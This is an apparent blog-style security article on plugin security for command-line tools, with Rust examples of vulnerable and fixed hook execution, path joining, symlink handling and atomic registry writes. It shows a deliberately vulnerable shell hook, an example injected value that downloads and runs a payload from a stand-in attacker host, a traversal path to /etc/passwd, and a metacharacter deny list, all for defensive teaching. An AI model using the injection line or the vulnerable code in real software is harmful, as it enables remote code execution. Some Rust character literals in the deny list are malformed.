Why Plugin Security Matters
Extensible CLI tools are everywhere. VS Code loads extensions. Terraform dynamically provisions providers. Package managers execute install hooks. The moment you allow user-provided code to influence execution, you have expanded your attack surface in ways that are easy to underestimate.
The plugin model is fundamentally a trust boundary problem. Your core binary is trusted. A plugin manifest is not. Yet in many CLI tool implementations, the manifest is parsed and its contents are handed directly to the shell, joined into file paths, or used to locate executables — without validation.
This article documents five vulnerability classes that appear repeatedly in plugin-enabled CLI tools, shows how each one works, and provides production-ready mitigations in Rust.
Command Injection via Shell Hooks
Many plugin systems allow a manifest to declare lifecycle hooks — commands to run on install, on activation, or on teardown. The naive implementation passes the hook command directly to a shell:
// VULNERABLE — do not use
fn run_hook(command: &str) -> Result<(), Error> {
std::process::Command::new("sh")
.arg("-c")
.arg(command) // command came from manifest, never validated
.status()?;
Ok(())
}
If an attacker controls the manifest, they can inject shell metacharacters: setup.sh; curl attacker.example/payload | sh
The Fix: Allowlist Validation
Apply a strict character allowlist to any hook command before use. Execute scripts directly via execv-style calls rather than through a shell interpreter:
const SHELL_METACHARACTERS: &[char] = &[
'$', ';', '|', '&', '<', '>', '`', '(', ')', '{', '}',
'!', '#', '*', '?', '[', ']', '\', '"', ''',
];
pub fn sanitize_hook_command(raw: &str) -> Result<String, SecurityError> {
for metachar in SHELL_METACHARACTERS {
if raw.contains(*metachar) {
return Err(SecurityError::ForbiddenCharacter(*metachar));
}
}
Ok(raw.to_string())
}
Path Traversal via Manifest Entries
The path hooks/../../etc/passwd when joined to a plugin root produces a path that starts_with the root — before canonicalization. After the OS resolves the traversal, the actual path is /etc/passwd.
The Fix: Canonicalize Before Comparing
pub fn safe_join(root: &Path, untrusted: &str) -> Result<PathBuf, SecurityError> {
let joined = root.join(untrusted);
let canonical = joined.canonicalize()?;
let canonical_root = root.canonicalize()?;
if !canonical.starts_with(&canonical_root) {
return Err(SecurityError::PathEscapeAttempt);
}
Ok(canonical)
}
Symlink Escape
A symlink inside a plugin directory can point outside the root. Always canonicalize paths before performing existence or permission checks.
Atomic Registry Updates
Plugin registries written directly can be corrupted by crashes mid-write. The fix: write to a temporary file in the same directory, then rename atomically.
let tmp_path = parent.join(".registry.tmp");
let mut tmp_file = std::fs::File::create(&tmp_path)?;
tmp_file.write_all(serialized.as_bytes())?;
tmp_file.sync_all()?;
std::fs::rename(&tmp_path, registry_path)?;
Testing Your Plugin Sandbox
Security properties that are not tested will eventually regress. Write tests that verify rejection of shell metacharacters, path traversal attempts, symlink escapes, and absolute paths in manifests.
Summary
The mitigations are established practice applied consistently: validate with an allowlist, canonicalize paths before comparing, execute scripts directly, use atomic writes, and write tests that prove rejection.
